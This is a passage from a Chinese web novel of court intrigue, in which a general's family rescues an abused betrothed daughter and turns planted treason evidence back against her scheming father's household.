“大小姐,承王妃听说您爬墙摔伤了,特意来看您。”丫鬟推开门就迫不及待地向里面的人传话。 夜时舒带着九姑进去。 她们的到来许是让顾思沫倍感意外,躺在床上的她直愣愣地把她们望着。 而夜时舒和九姑也愣了。 屋子里就一张床,连口箱子和桌子都没有。 空气中一股霉味儿隐隐让人作呕。 床上的人儿披散着头发,身上衣裳单薄不说,整个人的气色蜡一样的白,仿若患了什么不可治的大病。 如果不是知道这是首辅府的大小姐,夜时舒还以为这是哪个狱牢里关押的女囚呢! “王……王妃……”顾思沫回过神,忙要下地行礼。 但她刚一动,双脚还未落地,整个身子便不受控制地倒到床下。 夜时舒和九姑皆被吓了一跳,完全没料到这一幕,便是想上前接都来不及。 “大小姐,你没事吧?”主仆二人忙上前欲扶起她。 “唔!”但她们刚碰到顾思沫,顾思沫便死死咬紧牙,原本苍白的脸因咬牙的劲儿变得扭曲。 夜时舒和九姑僵着,都不敢动了。 同时目光对视,从彼此眼中都得到了肯定的答案,顾思沫绝对不是普通的摔伤! 按顾夫人和丫鬟所言,顾思沫是爬墙摔伤的,就算她们说的是真的,那作为顾家的大小姐摔成这样,为何没有医治? 这屋子除了霉味儿,连丝药味都没有! “九姑,你去请我二哥过来!” “是。” “承王妃,我家老爷和夫人已经去请大夫了,还请您不要为大小姐担忧。”丫鬟上前告知,并一副安慰她们的口气。 摸着顾思沫冰凉的身子,再看着她痛苦但又隐忍的模样,夜时舒朝丫鬟微微一笑,“不是说大小姐昨夜摔了吗?这一宿过去了,你们请的大夫肯定有急事抽不开身,所以这会儿都没来给大小姐医治。不过不要紧,我们致和将军府有府医,正好御医院的陆院使也还在承王府,让人把他们接来为大小姐瞧瞧。” “这……” “怎么?你是看不起我们致和将军府的府医、还是看不起陆院使的医术?还是说顾大小姐不配让他们医治?”夜时舒脸色沉下。 “承王妃误会了,奴婢……” 夜时舒见九姑已经离开了,不耐地打断她,“我在这里陪着顾大小姐,你且跟着九姑去前院吧。” “是。” 丫鬟嘴上应着,但临走前瞪了一眼顾思沫。 顾思沫咬着牙别开视线。 确定丫鬟走远后,夜时舒蹲下身,关心地问道,“顾大小姐,你还好吧?究竟是哪里受伤了?能否撑得住?” 顾思沫张着嘴想说什么,但话还没出口,便先朝地上喷出一口血气。 “咳咳咳……” “顾大小姐!”夜时舒更是惊吓不已,可摸着她肩膀的手又不敢动,生怕触碰到她身上的伤。 “多谢王妃,我、我还死不了……”顾思沫抬起头,强扯出一抹笑。 可她这笑合着唇上的血水,怎么看怎么吓人。 夜时舒皱眉问道,“你究竟伤到了哪里?” 顾思沫虚弱地摇头,“伤哪里不重要……他们就是不想我嫁、嫁二公子……除非我听他们的话……咳咳……” 夜时舒抽出腰间手绢给她擦拭嘴角的血水,“你还是别说话了,等我二哥来了再说,他一定会想办法带你出去的。” 如果不是亲眼所见,她真不敢相信世上会有如此残忍的亲爹。 这才过去一天,顾思沫就被打成这样,若今日他们不来下聘,多延几日再来,只怕来时连顾思沫的尸骸都见不着了。 没一会儿,顾勇和李氏便带着一帮下人来到后院。 同来的还有夜时竣。 看到屋子里的场景,夜时竣和夜时舒之前的反应一样,都不敢相信这种地方会是一府大小姐的居所。 夜时舒回头望着自家二哥,兄妹俩用着他们才懂的眼神无声交流后,夜时竣便沉着脸上前,将顾思沫从地上打横抱起。 “唔……”顾思沫疼得龇牙咧嘴,但她还是如先前那般死死地强撑着。 夜时竣提脚就往外走。 李氏见状,赶紧说道,“二公子,沫儿伤重,你要带她去哪?” 夜时竣冷冷地扫了她一眼,随即朝顾勇看去,问道,“首辅大人,我与顾大小姐的婚事作数吧?” 顾勇抿唇不语,许是心虚,都没敢正眼瞧他臂弯中的女儿。 夜时竣也不等他回答,突然露出玩世不恭的笑,“既如此,那我接未过门的媳妇去将军府玩几日,应该没问题吧?” 第78章 不给颜面 冯氏再道,“二公子,沫儿身上还有伤呢,你就算再心急娶她过门,也得等她养好伤才行!” 夜时竣斜眼睇向她,“夫人,瞧你说的。先前你说大小姐昨夜爬墙受伤,可现在大小姐身上都没一处包扎的痕迹,说明受伤并不严重。既然受伤不严重,那我带她出去玩几日又有何妨?” 冯氏忍不住冷脸,“她现在是待嫁之身,二公子要带她走,是想置她和首辅府的颜面于何地?” “呵呵!”夜时竣唇角朝一侧斜挂,邪气又挑衅地看着顾勇,“首辅大人,我就是这般不着调,要不你明日上奏参我一本,如何?我无所谓,到时我带着顾大小姐一同去金銮殿,让文武百官都瞧一瞧。我相信,看着顾大小姐现在这副要死不活的模样,说不定满朝官员还会夸我呢。毕竟我照顾自己的未婚妻,如此有情有义,天下怕是再难找出第二个了。” 顾勇脸色如同猪肝一般,难看到了极点。 眼见冯氏还要说什么,他忍不住怒喝,“够了!他要把人带走,那便让他们走!” 冯氏被他一喝,不得不闭嘴。 夜时竣本还想怼他们几句,突然发现怀里的顾思沫晕了过去,他眉心一紧,再不多言,拔腿就跑。 “首辅大人、夫人,那我和王爷也不多打扰了,告辞。”夜时舒面无表情地客套后,同样头也不回地离开了。 等他们兄妹走远,顾勇指着冯氏怒骂,“我同意给她点教训,但没让你们把她往死里打!谁让你们下手如此重的?” 冯氏不服气地恼道,“你当我是为了谁?那死丫头根本不把我们放在眼中,不论我们如何讨好,她就是不愿帮我们做事。你也是知道的,那些药对她毫无作用,我们不能拿药控制她,除了动刑逼她外,还能怎办?” 顾勇哑口无言了。 冯氏不服气地道,“就知道指责我,有这个脾气为何还让他们把人带走?” 顾勇抬手指着夜时舒他们离开的方向,又怒道,“你瞧见没,夜家那老二就是个混不吝的!你以为他说把那死丫头带去金銮殿只是说说吗?他不怕把事情闹大,可我们还要脸呢!” 就算帝王不管臣子家务事,可那死丫头到底是他的嫡长女,万一到了御前诉状他这个父亲这么多年冷落她,他就算没罪也会被全京城唾弃! “夜家老二简直目无王法、目无礼制!我们还没明确答应两家亲事呢,他居然敢从我们府中抢人!”冯氏仍旧不甘心。 “够了!”顾勇不耐地斥道,“还不都怨你,谁让你下手那般狠的?你再容不下她,那也是我的骨肉!” “我……” “哼!” 顾勇没再听她说下去,愤袖离去。 李氏怨恨地瞪着他背影。 现在知道那是自己的骨肉了? 当年是谁为了讨好她主动要把自己的骨肉送去庄子上的? 但再恨再怨,她也明白,今日这事只能大事化小小事化了,毕竟对顾思沫下死令的人是她女儿。她想拦住夜时竣,是怕顾思沫那小贱人出去乱说。 再说夜时竣这头。 把顾思沫带出首辅府后,夜时竣便想把人带去将军府找府医周铮。 尉迟凌突然唤住要上马车的他,“把人带去承王府吧。陆院使在府上,让他给顾二小姐诊治更为妥当。” 夜时竣愣了一下,立马明白了他的用意。 顾思沫的伤明显不寻常,若是让将军府的人医治,回头说出去也不会让人信服。 但如果让御医院的院使出手,那就不一样了。 …… 夜时舒从顾思沫摔下床的时候就看出她受了很重的伤,但在把人带回王府后才发现顾思沫的伤势远超了她的想象。 床边立着屏风,她和九姑一边检查着顾思沫身体一边向屏风外的陆长青描述伤情。 满身鞭痕,肋骨断了两根,双脚脚底板甚至被烫得血肉模糊…… 她们都不敢再给顾思沫换衣物,只得用被褥盖住她遍体鳞伤的身子,然后再让陆长青给她把脉。 “王妃,究竟是谁下的手?太凶狠了!”陆长青把完脉,一脸愁容的直叹气。 “陆院使,她有性命危险吗?”夜时舒揪心问道。 虽说她与顾思沫不熟,总共就见了两次面,可顾思沫受伤到底是与她二哥有关。若不是她二哥那一晚的算计,顾思沫就算再不受家人待见,也不至于遭受这样残忍的酷刑。 陆长青出了屏风到桌边,一边埋头写方子一边回她,“幸好那肋骨没伤到腑脏,要是腑脏受伤,多拖一日大罗神仙都难救。” 夜时舒听懂了,她和九姑对视了一眼,都不由地松了口气。 只要腑脏没受伤,那皮外伤便算是轻的,精心疗养早晚都能痊愈。 没一会儿,陆长青写好方子,九姑接下后快速去拿药。 他们的对话,门外的夜时竣全都听着,九姑一出去他便进了屋子。夜时舒走出屏风,与他对视,一时间都不知道该说什么才好。 首辅府作为太子党,要把女儿嫁到他们将军府,什么目的大家都心知肚明。 夜时竣设计那一桌酒宴,就是豁出去了要摆脱这门亲事。可谁也没想到,那一晚这位顾大小姐也来了,还临时跟他组成了搭子。 此时此刻,夜时竣心中不免后悔,要是那晚不搭理她就好了…… 可仔细一想,如果那一晚其他两对‘睡’在一起,就他和顾大小姐安然无事,那也是说不过去的。机会难得,就算摆脱不了顾家,也能帮大哥摆脱范云莹,面对顾思沫的提议,他是真的没有选择。 “顾家真是太没人性了!不想要这个女儿,那就别娶人家的娘、别把人生下来啊!生了又遭如此虐待,畜生都没这般残忍!”除了唾骂外,夜时竣也倍感无措。 陆长青在一旁不断地摇头叹气,从他的医药箱里拿出一瓶药,递给夜时舒,“王妃,这是止血疗伤的霜药,劳您先给顾大小姐搽抹。至于顾大小姐脚底的烫伤,得九姑取回药后下官才能调制。” “有劳陆院使了。”夜时舒接过霜药又回到屏风里。 夜时竣也不知道自己能做什么,只能僵僵地把屏风望着。 陆长青见他魂不守舍的模样,忍不住问道,“二公子,您如此紧张做何?” 夜时竣扭头,朝他干干一笑,“我与顾大小姐有婚约,今天刚下聘。” 第79章 贵妃被训 他这‘婚约’二字一出,陆长青眼珠子转了好几圈,忍不住问道,“二公子,恕我多嘴,听闻顾大小姐自小在庄子里长大,首辅府最受宠的乃是二小姐,以二公子你的身份,娶那二小姐岂不更合适?” 夜时竣‘呵呵’笑了起来,“不瞒陆院使,之前丞相夫人保媒,就是想撮合我和顾二小姐,可发生了些事,那顾二小姐跟我姑婆家的表弟那啥……为了不负丞相夫人的美意,经我们夜家和顾家商议,这才定下我与顾大小姐的婚事。” 说完,他收起笑,无奈地叹了口气,“这才两日不到,顾大小姐便被伤成这样,说起来都怨我啊,要是我不接受丞相夫人的美意,拒绝与顾家说亲,顾大小姐也不会遭遇如此惨无人道的虐打。” 屏风里,夜时舒正给顾思沫搽药的手不受控制地抖动,嘴角更是憋紧了笑。 承王说的没错,她二哥真是个人才! 顾家的事如果从别人嘴里说出来,只会让人觉得是在搬弄是非。但从她二哥嘴里出来,那意义和感觉就完全变了。 没办法,谁叫她二哥‘太憨厚’、‘太直率’了呢! 陆长青听夜时竣说完,脑子里几乎已经推敲出了来龙去脉。本来还在腹诽是谁对顾家大小姐下手,没想到竟是顾家人。 他心中不停‘啧啧’,一来是觉得顾家二小姐有眼无珠,这夜家二公子仪表堂堂、磊落大方,不论家世容貌那都是京城一众公子中的佼佼者,怎么就会舍弃珍珠选择鱼目呢? 二来顾家人厚此薄彼之心太过缺德,顾大小姐怎么也是原配所出,冷落多年已是不该,如今还见不得她得遇良配。 顾勇身居首辅之位,对自己的嫡长女下如此狠心,真有些德不配位。 夜时竣看着他充满鄙夷的神色,唇角偷偷翘起。 他就是要让世人知道顾勇一家卑劣的德性,搞得他们名声越臭越好…… …… 顾家大小姐重伤一事,如同一股飓风般,只一天功夫,京城大街小巷都传遍了。 正所谓流言可畏,传着传着,话题的焦点就转向了,有说首辅府二小姐与人无媒成奸,有说首辅大人宠妾灭妻,害死发妻冷落嫡长女,当今夫人妾室上位,带着女儿作威作福…… 听到这些谣言,最动怒的还不是顾家,而是丞相夫人冯氏。 她原本是想把顾诗雅安插进致和将军府,一来牵制住夜家父子三人,避免他们全力帮扶承王,二来也能让顾诗雅留意夜家父子的一举一动,方便太子拿捏他们。 可没想到,夜时竣居然与顾家那个不受宠的嫡长女搅合到了一起。 更让她气愤的是,顾诗雅这么一颗大好的棋子,被人一通算计后,竟然要许给一个名不见经传的举子! 然,这还都不是她最动怒的。 最让她动怒的是,顾家竟对嫡长女动用酷刑,把人差点虐死! 虐死也都算了,偏偏还让夜时竣和承王撞见了! 眼见母亲被气得不轻,太子妃祝华凝也忍不住唾骂,“还以为顾夫人是个聪明的,没想到竟犯如此大蠢,这不是白白落人柄,让首辅府陷入不仁不义的处境嘛!” 顿了一下,她又缓下语气安慰冯氏,“母亲,这次顾家惹出的是非是让人气愤,但也不全是坏事,至少让咱们看清楚了,那顾夫人和顾诗雅就是不堪大用的。以往女儿只觉得顾诗雅骄纵跋扈,如今瞧着就是个草包,幸好嫁夜家的人不是她,不然就她那种骄纵跋扈的性子,只会坏事。” 冯氏想想,觉得女儿说的也有些道理。 祝华凝接着道,“虽说顾家把顾诗雅下嫁给了一个举子,但也不是全无益处。女儿找人打听过,那举子的祖母是夜庚新的亲姑母,如果那举子真做了顾勇的乘龙快婿,我们也可以从那举子身上着手去对付夜家。” “至于顾思沫嘛,先让她嫁进夜家,毕竟她也是顾家的人,等顾、夜两家正式结下姻亲后,再做定夺也不迟。” 冯氏听完女儿一番分析,心中怒气消了大半,并赞道,“我家凝儿当真聪慧,这些母亲都未能想到,要不是你提醒,母亲还真会被顾家气晕头脑。” 祝华凝笑着安慰她,“母亲,凡事一步步来,切记不可操之过急,也不能自乱阵脚。毕竟我们最终要对付的人是承王,如果我们意图太过明显,承王也会给我们使绊子的。就拿前几次的事来说,澜贵妃和太子就是没沉住气,最后没伤到承王半分,反而让自个儿在皇上那里落了诸多不是。” 冯氏点头,“母亲明白,你放心吧,母亲都听你的。” 把自家母亲说服后,祝华凝又言归正传说到了谣言上,“母亲,顾家这一次做得太过,闹出这种臭名也是他们活该,您就当给他们一个教训。” “不过依照顾夫人的脾气,我怕她不会甘心,回头还劳母亲走一趟首辅府,告诉她,让她无论如何也得把这口气憋着,想要扭转谣言,就让她亲自去把顾思沫接回府,用最好的药尽快把人治好,然后让其风光大嫁。” “除此外,母亲还得提点她们母女,别一味的自以为是,她们臭名昭著我不管,但影响到太子和丞相府的名声,那就休怪我容不下她们!为太子做事,不说要她们聪明绝顶,但绝对不是她们这般任性妄为!” 想到顾夫人李氏和她女儿顾诗雅,冯氏冷下了脸。 “母亲知道该如何做。” …… 承王府。 为医治顾思沫,夜时舒他们也累得够呛。 给顾思沫处理好了身上的伤,结果又发起了高热,折腾了整整一宿,顾思沫总算退了热,也总算苏醒了过来。 看着床边一脸憔悴的兄妹,她感动得泣不成声。 夜时竣见她一醒来就哭,没好气地道,“哭什么哭?有什么好哭的?受了欺辱打回去就是了,光是哭有用吗?我们为了你忙活了整整两日,眼都没怎么合过,该哭的是我们才对!” 夜时舒赶紧拿手肘撞他。 人家好不容易醒来,一醒来就挨骂,她二哥到底懂不懂如何疼媳妇? 第80章 反抢回去 “什么?”夜时舒神色一沉,走下凉亭便急步朝主卧去。 顾思沫一直对外称病不假。 那是因为是她知道首辅府不会善待她,所以才不愿回首辅府找虐。 没想到首辅府今晚自己找上门去。 还是趁她父兄不在府中的档口! “二哥,出事了!” “小妹,出何事了?”正在房里嘻嘻哈哈说话的夜时竣回头望着她。 “二嫂被顾家带回去了!” 闻言,夜时竣脸上的笑骤然消失。 下一刻,就见他身影如风一般消失在门外。 夜时珽起身道,“王爷,我先回府了。” “嗯。”尉迟凌点了点头。 “王爷,我也要去!”夜时舒说完就要走。 “急什么?”尉迟凌没好气地瞪着她,“去把夜行衣拿过来!” 他这是要跟去? 夜时舒笑了笑,赶紧照做。 …… 首辅府。 顾思沫被带回去,顾勇见到她就抬手给了她一巴掌—— “孽畜,竟敢躲着我们!” ‘噗’! 随着脸颊的巴掌落下,顾思沫突然喷出一口血水。 顾勇还准备多打她几巴掌的,没想到一巴掌就把这个女儿扇出血,惊得他抬起手掌僵举着,回想起上次下手太重差点把人打死,他不由地压下了几分怒火。 “老爷!”李氏把他手掌拿下来,不停地给他使眼色,然后吩咐大丫鬟,“把大夫带进来!” 大丫鬟退出去,不一会儿便领着一名老者前来给顾思沫诊脉。 李氏可不是因为这一巴掌就心疼这个继女,让大夫诊脉不过是想确认顾思沫这段时间是否真的有病。 顾思沫如何看不懂他们的心思? 不过她还是乖乖地任由他们摆弄,伸了左手又伸右手。 老者诊完脉后,向顾勇和李氏说道,“首辅大人、夫人,大小姐不仅患有心疾,还患有肺疾。依脉象所看,应是多年积下的旧疾,平日里受不得劳累,一旦收累便会旧疾发作。” 顾思沫朝他们夫妻跪下,虚弱地解释道,“父亲、二娘,沫儿真的没有骗你们,沫儿嫁去将军府那日因为在新房中静坐太久,便引发了旧疾。后面二公子与沫儿圆房,沫儿受不住累,便一直在床上休养。沫儿也想回来看望父亲和二娘,奈何沫儿身子不争气,便只能拒绝父亲和二娘派去的人。” 老者是顾勇和李氏请来的,对于老者的诊断,夫妻俩自然信得过。 眼见顾思沫是真有旧疾缠身,夫妻俩对她的怨气这才有所缓减。 让老者退下后,夫妻俩交换了一下眼神,李氏上前把顾思沫扶起来,一改严厉刻薄的态度,心疼地说道,“沫儿,我们不知你患了那般严重的病疾,要是早知道,我们定不会对你那般严厉。” “二娘,沫儿自小就长在庄子里,一无是处,回家后自是要多学规矩,免得给顾家丢人。所以父亲和二娘对沫儿严苛些也是应该的,沫儿欣然接受,从未有过怨言。”顾思沫懂事地说道。 “好沫儿,没想到你如此懂事,我和你父亲真是欣慰!”李氏笑着夸赞,接着话锋一转,问她,“那夜家二公子待你如何?” “回二娘,夫君待我极好。” “好就对了!好就对了!”李氏一边笑一边朝顾勇看去。 顾勇脸上也有了笑意,走到女儿面前,抬手握着女儿的肩膀,愧疚地感慨道,“沫儿,这些年你一直在庄子里,真是苦了你了。如今你嫁得良缘,父亲真是为你高兴。” 李氏说道,“今日我们就当你归宁,一会儿我们就送你回去。你虽然是空着手回来看我们,但我们不能让你空着手回去。你父亲早就将礼物备上了,等下就让人装上马车,都是给你公爹和大伯哥的一点点心意,只求你在将军府,他们能替我们多关照你。” 顾思沫乖巧地向他们福身,“多谢父亲、多谢二娘……” 下一瞬,她双眼一翻,猛地朝李氏身上倒去—— 顾勇,“……” 李氏,“……” 当夜时竣急匆匆地赶到首辅府时,大夫正同顾勇夫妻说话,“大小姐的病已经拖成顽疾,能活多久都没有定数。” “沫儿!”夜时竣冲进房门直奔床边,激动地放声大喊,“沫儿,你快醒醒!” 李氏上前安慰他,“二公子,你别担心,沫儿只是旧疾发作,大夫已经让人去煎药了,很快沫儿边会好起来。” 夜时竣恶狠狠地扭头瞪她,“沫儿的身子变成这样,还不都是你们害的!要不是她从小就被你们遗弃,她至于落下又多又严重的病根吗?” 他这一嗓子,简直就是拿着剑直捅顾勇和李氏心窝子。 夫妻俩瞬间脸色就难看起来。 正在这时,顾思沫掀开眼皮,见到夜时竣,虚弱的她难掩惊讶,“夫君,你怎么来了?” 夜时竣没说话,将她打横抱起就走。 “站住!”顾勇铁青着脸喝道,这个女婿不但目中无人,甚至有种把他脸按地上狠狠羞辱的感觉,这叫一向自视甚高的他如何能接受? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!然而,夜时竣本就不是个受管束的,何况怀里还抱着个虚弱无比的人,面对顾勇的厉喝声,他别说回头了,连脚都没顿一下,直接冲跑了出去! 顾勇眼都瞪疼了。 李氏追到门口,望着夜时竣远去的背影,恼骂,“这夜时竣就是个十足的流子,真丢他夜家的脸!” 顾勇咬着牙问道,“东西都给装上了吗?” 李氏随即把管家叫来询问,管家回道,“老爷、夫人放心,已经给大小姐装上马车了。” 夫妻俩对视了一眼,这才收了几分怒火。 …… 夜时竣是飞跑着来的,碍于顾思沫身子虚弱,他不得不借用首辅府的马车。 回去的路上,顾思沫从袖中摸出一粒什么东西喂自己吃下。 在调息了片刻后,她从夜时竣怀里坐直身。 感受着她气息的变化,夜时竣一瞬不瞬地盯着她。 什么情况? 不等他开口,顾思沫突然贴到他耳边低语。 女子的馨香窜入他鼻息中,温热的气息洒在他耳上,刹那间夜时竣身体紧绷,只觉耳朵和脸宛如沸水中蒸煮,热烫得他呼吸都快不顺畅了。 漆黑的马车里,顾思沫并未看清他的神色,低语后拿手推了推他,催促他快照做。 夜时竣回过神,兜着一颗狂跳的心把她放座榻上,然后揭起车帘对车夫说道,“停下!” 车夫勒马停下,然后回头问他,“大姑爷,您有何吩咐?” “太医院的陆院使在承王府,我现在要带你们大小姐去承王府找陆院使,求他给你们大小姐治病。你就不用去了,把马车给我,明日我让人把马车给首辅府还回去。” 车夫犹豫了片刻,还是把缰绳和鞭子给了他,然后跳下马车。 夜时竣坐到他的位置上,一鞭子甩在马屁股上,马车飞速驶进黑夜—— 按照顾思沫的指示,夜时竣将马车停在了城郊一处树林旁。 停下后,他钻进马车里,抓着顾思沫的手腕,急声问道,“究竟怎么回事?你明明好端端的,为何大夫会说你病重?” 顾思沫微低着头,低声道,“我服了一种药,能致脉象混乱,一般大夫瞧不出来。” 夜时竣这才想起来她一直称病不回顾家,若是顾勇夫妇知道她是假病,只怕会当场打死她。 “你哪来的药?” “呃……”顾思沫脑袋越来越低,“这是秘密,现在还不能说。” 见她如此隐瞒,夜时竣突然放开她的手腕,一脸不悦地坐到她对面,“不说就不说,谁稀罕似的!” 想到自己听到她被顾家带走的消息第一时间就飞奔去顾家救她,可她却对他一瞒再瞒,他心窝里就忍不住起火。 太不够义气了! 简直没把他当朋友! 顾思沫抬起眸子,感受着他身上散发出来的怨念之气,她眼睫扇了好几下,突然想到什么,她捧起座榻上的礼盒,对他说道,“先别生气了,快查看一下这些东西。” “有什么好看的?”夜时竣气呼呼地回她。 “那两个东西坏得很,不可能如此大方给爹和大哥送礼,这些东西得好好查看!”顾思沫一边说着一边打开了礼盒。 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第81章 通敌之证 礼盒一共有五件,其中三件都是食补的药材。 顾思沫都一一放在鼻下细闻,确定没问题后便扔到一旁。 夜时竣紧敛眸光盯着她,眸中全是看不懂她的复杂神色。 这女人仿佛很懂这些东西是否有问题,可她一个被弃养在庄子里不受宠的人,是如何懂得这些的? 第四件礼盒和第五件礼盒分明是一卷字画和一套文房四宝。 顾思沫还是放在鼻下闻了闻,但都没闻出异味。 她随即又将东西拿出马车,借着月光翻来覆去的查看,嘴里嘀咕道,“都没有问题……顾勇和李氏那两个烂人,把我强行带回去,又自作主张地给将军府送这些,没道理啊!” 突然,三道身影落下。 顾思沫险些吓一跳,紧接着重重地呼出一口气,然后朝他们唤道,“大哥、小妹,你们怎么来了?” 她视线最后落在夜时舒身侧戴面具的男人身上,看着男人轻搂着夜时舒的腰,她先是一愣,接着难掩震惊地盯着男人的双腿。 承王?! “二嫂,你瞧什么呢?”夜时舒拉下尉迟凌的手臂,笑着走到她面前。 顾思沫回过神,将左右手的东西递给她,并说了它们的来历,“小妹,顾家不会安好心的,可我敲不出来它们哪里不对,正好你和大哥来了,快看看!” 夜时珽上前,接过礼盒,将文房四宝取出查看起来。 夜时舒则是拿起字画跟尉迟凌一同查看。 “这是北蔺国皇室的东西!”查看完后,夜时珽冷声道。 夜时竣已从马车上跳下来,蹙着眉说道,“北蔺国这数十年来一直与我们大邺国交恶,且屡次想侵犯我们大邺国,两国早就断了交际,为何首辅府会有北蔺国的东西?” 顾思沫白了他一眼,“这是他们要给爹和大哥的东西!” 夜时竣俊脸唰地黑沉,捏着拳头怒道,“他们竟想……” 还不等他出口发泄完,就听夜时舒说道,“这字画里有封信!” 夜时珽、夜时竣、顾思沫赶忙围住他们夫妻,借着月光看着夜时舒展开的信纸,刹那间全变了脸。 这是一封感谢信,虽然没有指名道姓,但落尾却盖着北蔺国的大印! “看来有人要置我们致和将军府于死地!”夜时珽没动怒,但深邃的眼眸中一片寒沉。 “那顾勇和李氏当真是两个烂人!”夜时竣借用顾思沫之前的话骂道! “我就知道他们没安好心!”顾思沫咬牙道。 夜时舒看着他们夫妻俩同仇敌忾的模样,忍不住失笑,说他们是协议假成亲,谁信啊? “好了,都别骂了,咱把这些东西还回去就行了。” “还回去?怎么还?”夜时竣眉头皱得紧紧的,“这是顾勇夫妇精心为我们家准备的‘通敌叛国’的罪证,就算还回去他们也不可能承认这东西是他们的!” 夜时珽点了点头,“时竣说的没错,东西已过了我们的手,我们只要拿出去便会惹祸上身。” 夜时舒轻笑,“没说要直接还回去,我的意思是找个机会偷着送进首辅府,再找个无人的地方埋起来!埋哪里都无所谓,只要这东西在首辅府就行!” 顾思沫一听,眸光突然发亮,“不如我说个地方吧,回头说不定还有机会当众挖出来!” 三兄妹眸光齐齐地看向她。 还能当众挖出来? 但顾思沫并未解说太多,只拍着胸膛保证,“相信我,埋那个地方绝对能让顾家所有人掉脑袋!” 夜时舒同两位兄长交换了一下眼神。 自然是信她的。 如果她不可信,那今晚这些要命的东西已经进了将军府了! 随即夜时珽交代起来,“时竣,此事便由你和弟妹去办。” 夜时舒接着说道,“二哥、二嫂,避免首辅府状告我们将军府,你们还得去一趟首辅府,就说马车被人打劫了。” “嗯嗯!小妹这点子好,我们现在就去!”夜时竣说完,抓起顾思沫的手就跑。 而就在顾思沫从戴着面具的尉迟凌身侧经过时,她突然眯起眼,一丝异光快速从眸底闪过。 夜时珽和夜时舒一同把马车里的礼盒整理好,同那副字画及文房四宝全带走了。 …… 夜已深,顾勇和李氏已经歇下。 突然被管家急吼吼地叫醒。 “什么事如此急躁?”顾勇一脸惺忪地去开门。 “老爷,大姑爷和大小姐回来了!” “不是说他们去承王府找陆院使看病了吗?回来作甚?” “老爷,他们去承王府的路上遇上了劫匪!那劫匪逼他们下马车,然后把马车劫走了!” “什么?!”顾勇大惊。 李氏也震惊得从床上起来,手脚凌乱地披着外衫到门口,激动问道,“大姑爷他们现在在哪?” “就在厅堂里!” 夫妻俩也顾不上什么仪态了,赶紧往厅堂的方向去。 厅堂里。 顾思沫虚弱地躺在椅子上。 夜时竣来回在她面前走动,似乎很是着急。 顾勇一进厅堂,看到高大健硕的他,开口就斥道,“你不是会武功吗?杀敌都不怕,怎么会打不过一个劫匪?” 夜时竣没好气地道,“沫儿那个样子,走路都走不稳,我要护着她,如何腾出手来打劫匪?” “在哪遇上的?”顾勇怒问。 “梧桐巷口。” 顾勇深吸一口气,随即喝令管家,“召集人手,务必将马车及车内的东西全部找回来!” 管家快速退下。 夜时竣皱眉问道,“岳父大人,就一辆马车而已,何必动此大怒?眼下沫儿的身子才是最重要的,马车丢了,我们去承王府不便,我这才带着沫儿返回来,就是想让她今晚先在首辅府休息,明日一早再去承王府。” 天知道,顾勇现在有多想掐死他! 堂堂西北大营的冲锋将领,却被劫匪抢去了马车!他是该骂他无能还是该骂他蠢? 最重要的是,马车里的东西…… 那是能弄丢的吗! 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第82章 怀疑是他 “来人!”李氏冷着脸吩咐门旁家丁,“带大姑爷和大小姐去休息!” “是。” “老爷,我们也回房吧。”李氏催促顾勇。 顾勇臭着脸甩袖离去。 目送他俩快被气死的背影,夜时竣不由地勾起唇角。 因为他这个大姑爷,家丁自然不好再让顾思沫住到马厩那边去,找了间空置的院子让他们住下。 待家丁离去,被放在床上‘虚弱无比’的顾思沫立马坐起身。 “时竣,首辅府我熟悉,一会儿你放风,我去府外接小妹他们。” “嗯。”夜时竣也不跟她抢,毕竟他对首辅府是真不熟。只是,他咧着嘴好奇地问道,“你打算把东西埋哪?” “我之前住的附近。” “为何要选那里?” “方便啊!” “……” 见她又是掩掩藏藏,夜时竣忍不住又拉下了脸。 另一边。 顾勇和李氏回房后,不但瞌睡全无,心中更是忐忑不安。 “老爷,您说要是那些东西被人发现是……我们首辅府会不会……” “闭嘴!”顾勇烦躁地斥道。 李氏不敢再说下去。 夫妻俩熬了近一个时辰,才见管家回来禀报,“老爷、夫人,马车找到了,在西郊的树林边……” “东西呢?那些东西可都在?”顾勇急不可耐地问道。 “回老爷,马车里什么东西都没有!” “……!”顾勇身体不由地晃了晃。 李氏脸色也失血。 想到什么,她低声说道,“老爷,您说那些东西会不会是他们自己藏起来了?” 顾勇回头瞪她,“那些东西就是寻常物件,他们藏起来做何?” “妾身的意思是,他们会不会发现那些东西……然后去告发我们?” “哼!那些东西又不是在我们府上发现的,他凭什么告发我们?再说了,就他们两个,像识货的?”顾勇鄙弃道。 他在意的是那些东西流失,他没法向太子交代! 毕竟要弄到那些东西不是易事! “今晚的事不许告诉任何人,知道吗?”他随即警告管家。 “是。” …… 夜时舒和尉迟凌差不多快天亮了才回承王府。 一回房夜时舒倒头就睡。 尉迟凌坐在床边,斜眼睇了她好一会儿,最终无声地叹了口气,合衣躺在她身侧。 确定她是真睡着了后,再轻手轻脚将她搂进怀中。 天亮后。 夜时竣带着‘病恹恹’的顾思沫来到承王府。 因为夜时舒打过招呼,所以九姑早已准备好了接待他们。知道他们一夜都在做贼,还提前收拾好了房间让他们休息。 “九姑,你何时回将军府啊?我爹现在魂不守舍的,你都不管他吗?”没有外人在,夜时竣说话是一点弯都不拐。 九姑三十岁的人了,还没见过他这般直言不讳的,当即忍不住红了脸。 她一红脸,夜时竣就以为她害羞。本来他就是个话痨,再加上憋不住事,于是咧着嘴继续说道,“你也不要不好意思,就我们将军府和承王府现在的关系,我们也算是一家人了,只要你不介意,我现在就可以改口!” “……” “我爹那人性子闷,不懂什么风花雪月,不过绝对是可靠的!我可以为他作证,这么多年,他连窑子大门朝哪个方向开都不知道!” 九姑听他说那些,恨不得刨个地洞钻进去!于是赶紧打断他,“那个……二舅爷,你们还没用膳吧,奴婢去厨房给你们拿些吃食。” 夜时竣突然想起什么,唤住她,“九姑,等等!” “二舅爷还有什么吩咐?”九姑回头询问。 “我们不是刚从首辅府过来嘛,在路上碰到一人,对方骑着快马,险些与我们撞上。九姑,你猜怎么着?对方居然是太子的人!那人认出了我,还告诉我太子在万福寺出事了,他急着去宫里传信!” 九姑听完,神色沉冷了起来。 夜时竣又道,“如果不是跟沫儿要作戏给首辅府的人看,我都想去万福寺瞧瞧了!” 九姑拧眉道,“二舅爷,太子出事不是小事,您还是别凑那个热闹。待王爷和王妃睡醒,奴婢会将此事禀报他们,他们会派人去打听消息的。” 